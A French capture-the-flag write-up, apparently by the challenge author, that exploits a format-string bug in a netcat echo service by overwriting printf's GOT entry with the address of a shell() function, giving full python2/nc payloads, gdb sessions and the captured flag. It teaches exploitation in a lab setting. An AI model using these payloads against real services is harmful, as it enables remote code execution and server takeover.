Pour un rendu optimal, activez JavaScript

[GreenFlag] Pwn - Repeater (Intermediaire)

 ·  ‚ėē 8 min de lecture  ·  ‚úćÔłŹ ValekoZ

Description

Un abruti consomme de l’√©lectricit√© pour faire tourner un service compl√©tement inutile: un service netcat qui r√©p√®te ce qu’on lui envoie.

Faite le lui payer en prenant le contr√īle du serveur, vous pouvez vous y connecter √† l’aide de la commande nc greenflag.valekoz.fr 8001

Le programme tournant sur le serveur était également fourni.

Observations

Dans un premier temps, lan√ßons le programme, et utilisons le normalement pour savoir de quoi il s’agit.

1
2
$ ./vuln
[-] Usage: ./vuln <port>

À priori, le binaire écoute les connexions entrantes sur un port donné. En se connectant au programme tournant en local on obtient le comportement suivant:

1
2
3
4
5
6
7
$ nc localhost 4444
foo
foo
bar
bar
q
q

Le programme se contente de r√©p√©ter ce que l’utilisateur affiche. En faisant quelques tests, on se rend comptes que le programme est vuln√©rable au format strings:

1
2
3
$ nc localhost 4444
%p %p %p %p
0x40 0xf7f7f540 0x8049587 0x8048436

De plus, le programme possède une fonction shell dont le code est le suivant (on peut la trouver avec ghidra par exemple):

1
2
3
void shell(char *command){
    system(command);
}

Il pourrait donc être intéressant de profiter du format string pour exécuter cette fonction en lui donnant "/bin/sh" en argument.

Format String

Un format string est une vuln√©rabilit√©e caus√©e par une mauvaise utilisation de printf (ou autre fonction de la m√™me famille). Le premier argument est cens√© √™tre une cha√ģne de caract√®re donnant le “format” de ce qu’il faut afficher.

Si l’utilisateur a le contr√īle sur cet argument, il peut demander a printf d’afficher le n-√®me argument sous forme d’entier par exemple ("%x"), m√™me si cet argument n’a jamais √©t√© pass√© √† la fonction: printf va se contenter de lire dans la stack √† l’endroit correspondant √† la position du pr√©tendu argument.

Dans ce programme, le but ne va pas seulement √™tre de lire dans la m√©moire, mais nous allons vouloir y √©crire. Pour cela, nous pouvons utiliser le format "%n", qui permet d’√©crire √† l’adresse sp√©cifi√©e en argument le nombre de caract√®res √©crits jusqu’√† ce format.

Attention, si plusieurs "%n" se suivent, le compteur de caract√®res n’est pas remis √† 0, et ils donneront donc tous le compte depuis le d√©but de la cha√ģne affich√©e.

Pour cela, on va dans un premier temps trouver l'offset du format string:

1
2
3
$ nc localhost 4444
AAAA %23$x
AAAA 41414141

Le d√©but de notre cha√ģne de caract√®re est consid√©r√©e par le programme comme √©tant le 23√®me argument.

Si on voulait √©crire 42 √† l’adresse 0xdeadbeef par exemple, on pourrait ex√©cuter la commande suivante:

1
$ python2 -c "print '\xef\xbe\xad\xde' + '%38x' + %23$n" | nc localhost 4444
  • On met 0xdeadbeef au niveau du 23√®me argument du printf, on a d√©j√† √©crit 4 octets.
  • On √©crit donc encore 38 octets en formattant un int sur 38 caract√®res
  • On √©crit le nombre de caract√®res √©crits jusque l√† √† l’adresse sp√©cifi√©e au 23√®me argument (donc 0xdeadbeef)

Pour √©crire des nombres plus grands, on est oblig√© de d√©couper le nombre en plusieurs octets. Pour √©crire 0xcafec0de par exemple, on aurait d’abord √©crit 0xde √† l’adresse 0xdeadbeef, puis 0x1c0 √† 0xdeadbeef + 1, puis 0x1fe √† 0xdeadbeef + 2 et finalement 0x2de √† 0xdeadbeef + 3.

Global Offset Table

Maintenant qu’on sait comment √©crire dans la m√©moire, on veut savoir o√Ļ √©crire, et qu’est ce qu’on va √©crire.

On va dans un premier temps essayer de comprendre qu’est-ce que la Global Offset Table (GOT) est.

Sur les syst√®mes r√©cents, les biblioth√®ques utilis√©es par les diff√©rents programmes peuvent √™tre charg√©s √† des adresses al√©atoires dans la m√©moire. C’est ce qu’on appelle un PIE (Position Independant Executable).

Lorsqu’un programme veut appeler une fonction appartenant √† une de ces biblioth√®ques, il doit donc d’abord trouver l’adresse de la fonction dans la m√©moire. C’est le travail de dl_resolve.

Mais il serait peu efficace d’appeler dl_resolve √† chaque appel de fonction. C’est pour √ßa qu’√† chaque fois que l’adresse d’une fonction est r√©solue, celle-ci est stock√©e dans un tableau de pointeurs appel√© GOT.

La procédure est la suivante:

  1. Le programme appelle une fonction, printf@plt par exemple.
    • Il s’agit en fait d’un petit bout de code plac√© dans la Procedure Linkage Table (PLT)
  2. La premi√®re instruction de cette entr√©e de la PLT est un jump vers l’adresse de printf stock√©e dans la GOT.
  3. Si la fonction n’a jamais √©t√© appel√©e, l’entr√©e de la GOT pointe en fait vers l’instruction suivante dans la PLT, permettant de r√©soudre l’adresse de la fonction
  4. Si la fonction a d√©j√† √©t√© appel√©e, dl_resolve a d√©j√† r√©solu l’adresse de la fonction, et le r√©sultat a √©t√© plac√© dans la GOT. Apr√®s le jump de l’√©tape 2 on est donc dans la fonction printf.

Pourquoi je vous explique tout √ßa ? Imaginez qu’on puisse nous m√™me √©crire dans le GOT, on pourrait alors contr√īler le flux d’ex√©cution du programme lors de l’appel d’une certaine fonction !

En plus, si la fonction qu’on veut hijacker prenais en argument une cha√ģne de caract√®re, et qu’on puisse la contr√īler, alors on pourrait facilement appeler shell("/bin/sh/").

Le programme est compos√© d’une boucle, appelant √† chaque tour de boucle printf avec comme argument l’entr√©e utilisateur … c’est la fonction parfaite pour notre exploit.

Exploitation à la main

Pour exploiter ce programme, on a besoin de plusieurs informations:

  • L’adresse de printf@got.plt
    • 0x0804c014
  • L’adresse de shell
    • 0x0804939a
  • L’offset du format string
    • 23

Pour l’adresse de l’entr√©e de la GOT qu’on veut r√©√©crire, on peut la trouver en allant dans la PTL avec un outil tel que Cutter ou ghidra.

Pour l’adresse de shell, on peut la trouver de la m√™me mani√®re ou avec readelf par exemple.

L’offset du format string a d√©j√† √©t√© trouv√© pr√©c√©dement.

On doit donc maintenant écrire 0x08049396 à 0x0804c014.

  1. 0x96 à 0x0804c014
  2. 0x193 à 0x0804c015
  3. 0x204 à 0x0804c016
  4. 0x208 à 0x0804c017

On commence donc la chaine par les 4 adresses de 4 octets, qui prennent donc déjà 16 octets au total.

On doit donc écrire ensuite

  1. 0x96 - 16 = 134 caract√®res jusqu’au premier "%n"
  2. 0x193 - 0x96 = 253 caract√®res jusqu’au second "%n"
  3. 0x204 - 0x193 = 113 caractères ensuite
  4. Puis 0x208 - 0x204 = 4 caractères

Notre payload est donc

"\x14\xc0\x04\x08" + "\x15\xc0\x04\x08" + "\x16\xc0\x04\x08" + "\x17\xc0\x04\x08" + "%134x" + "%23$n" + "%253x" + "%24$n" + "%113x" + "%25$n" + "AAAA" + "%26$n"
1
$ (python2 -c 'print "\x14\xc0\x04\x08" + "\x15\xc0\x04\x08" + "\x16\xc0\x04\x08" + "\x17\xc0\x04\x08" + "%134x" + "%23$n" + "%253x" + "%24$n" + "%113x" + "%25$n" + "AAAA" + "%26$n"'; cat) | nc localhost 4444

Malheureusement, l’exploit ne fonctionne pas … il reste une petite subtilit√© que je n’avais pas anticip√©. Essayons de comprendre ce qui se passe √† l’aide de gdb:

1
2
3
4
5
6
7
$ gdb vuln
For help, type "help".
(gdb) disas main
...
   0x080495e7 <+550>:   call   0x8049180 <printf@plt>
   0x080495ec <+555>:   add    $0x10,%esp
...

On cherche le printf qu’on exploite pour mettre un breakpoint apr√®s

(gdb) b *0x080495ec
Breakpoint 1 at 0x80495ec

On indique √† gdb de debug le child lorsqu’il y a un fork

(gdb) set follow-fork-mode child

Et on lance le programme sur le port 4444

(gdb) r 4444
[Attaching after process 43022 fork to child process 43050]
[New inferior 2 (process 43050)]
[Detaching after fork from parent process 43022]
[Inferior 1 (process 43022) detached
[Switching to process 43050]

Thread 2.1 "vuln" hit Breakpoint 1, 0x080495ec in main ()
(gdb) x/a 0x0804c014
0x804c014 <printf@got.plt>:     0x8049396 <shell>

On voit qu’on a bien r√©√©crit l’adresse de printf dans le GOT.

(gdb) ni
0x080495ef in main ()
(gdb) 
0x080495f5 in main ()
(gdb) 
0x080495f7 in main ()
(gdb) 
0x080495fa in main ()
(gdb) 
0x080495fb in main ()
(gdb) 

Thread 2.1 "vuln" received signal SIGSEGV, Segmentation fault.
0x08000002 in ?? ()
(gdb) x/i 0x080495fb
   0x80495fb <main+570>:        call   0x8049190 <fflush@plt>

Le crash a en fait lieu sur le call du fflush apr√®s le printf … lorsqu’on r√©√©crit l’adresse de printf, on √©crit 4 octets √† chaques "%n" et on r√©√©crit donc en partie l’adresse de fflush qui est juste apr√®s dans la m√©more …

(gdb) x/a 0x0804c018
0x804c018 <fflush@got.plt>:     0x8000002

Pour résoudre ce problème, on peut simplement utiliser "%hhn" qui réécrit seulement 1 seul octet au lieu de 4:

(python2 -c 'print "\x14\xc0\x04\x08" + "\x15\xc0\x04\x08" + "\x16\xc0\x04\x08" + "\x17\xc0\x04\x08" + "%134x" + "%23$hhn" + "%253x" + "%24$hhn" + "%113x" + "%25$hhn" + "AAAA" + "%26$hhn"'; cat) | nc greenflag.valekoz.fr 8001
                                                                                                                                    40                                                                                                                                                                                                                                                     f7f77580                                                                                                          8049587AAAA/bin/sh
ls
flag
vuln
vuln.c
cat flag
HTN{bc725883fdda9421374d7c7a30fd612211a8a353b9acc09e4824122703d1554a}

Lorsque le programme nous redonne la main sur l’entr√©e standard, on √©crit "/bin/sh" pour le passer en argument √† la fonction shell, et le tour est jou√© ūüôā

Exploitation avec pwntools

√Ä √©crire plus tard quand j’aurai pas la flemme ūüėÖ

Conclusion

L’objectif de ce challenge √©tait de d√©couvrir une technique d’exploitation utilis√©e avec les format strings, permettant de contr√īler le flux d’ex√©cution du programme gr√Ęce au write what where que la vuln√©rabilit√© nous fourni.

2 participants ont tent√© de r√©soudre ce challenge sans succ√®s, mais je tiens quand m√™me √† les f√©liciter pour leur d√©t√©rmination (vous √™tes les boss les mecs ūüėČ)

C’est vrai que ce challenge √©tait plut√īt compliqu√© sans les connaissances n√©cessaires, il aurait peut-√™tre eu sa place dans un CTF un peu plus long pour laisser plus de temps au participants pour se familiariser avec les concepts n√©cessaires √† la r√©solution du challenge.

Partagez

Hackin'TN
R√ČDIG√Č PAR
ValekoZ
Président Hackin'TN 2021